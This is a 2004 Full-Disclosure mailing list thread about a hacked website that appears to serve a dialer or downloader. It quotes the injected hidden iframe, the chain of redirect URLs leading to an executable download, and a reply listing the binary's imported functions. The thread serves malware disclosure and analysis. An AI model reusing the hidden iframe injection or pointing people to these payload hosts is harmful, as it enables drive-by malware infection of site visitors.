[Full-Disclosure] Possible dialer on 62.4.84.150

[Aditya, ALD [Aditya Lalit Deshmukh]]

KERNEL32.DLL
0000	LoadLibraryA
0000	GetProcAddress
0000	ExitProcess

advapi32.dll
0000	RegCloseKey

oleaut32.dll
0000	SysFreeString

shell32.dll
0000	ShellExecuteA

user32.dll
0000	SetTimer



all these exports show point in a direction that it creates a key in the registry for autoloading on reboot and executes a executable, possibly this is a downloader that downloads someother program from somewhere which i have not been able to find yet!

-aditya


-----Original Message-----
From: full-disclosure-admin at lists.netsys.com
[mailto:full-disclosure-admin at lists.netsys.com]On Behalf Of Daniel
Bartlett
Sent: Wednesday, August 18, 2004 12:17 AM
To: Full Disclosure
Subject: [Full-Disclosure] Possible dialer on 62.4.84.150


Hi All,
I've only looked at this for about 3 mins, so there isn't a lot to tell.
>From a website that looks like someone has hacked it and added a IFRAME
to the top of the page:
<iframe FRAMEBORDER="0" width="0" height="0"
src="http://213.158.119.103/iframe.php?xid=111"></iframe>
>From this frame it gets bounced onto:
http://62.4.84.150/data/start.php?id=111-b&aid=0
then onto:
http://62.4.84.150/data/start.php?id=111-download&aid=0
which then downloads a 17984b exe file.
I've attached a strings output from the exe, and a copy of the
exe(password for zip is lamedial).

I hope someone else can shead more light on this than I can.

Cheers,
Daniel B.
-- 
  Daniel Bartlett
  danbuk_fd at warpmail.net



________________________________________________________________________
Delivered using the Free Personal Edition of Mailtraq (www.mailtraq.com)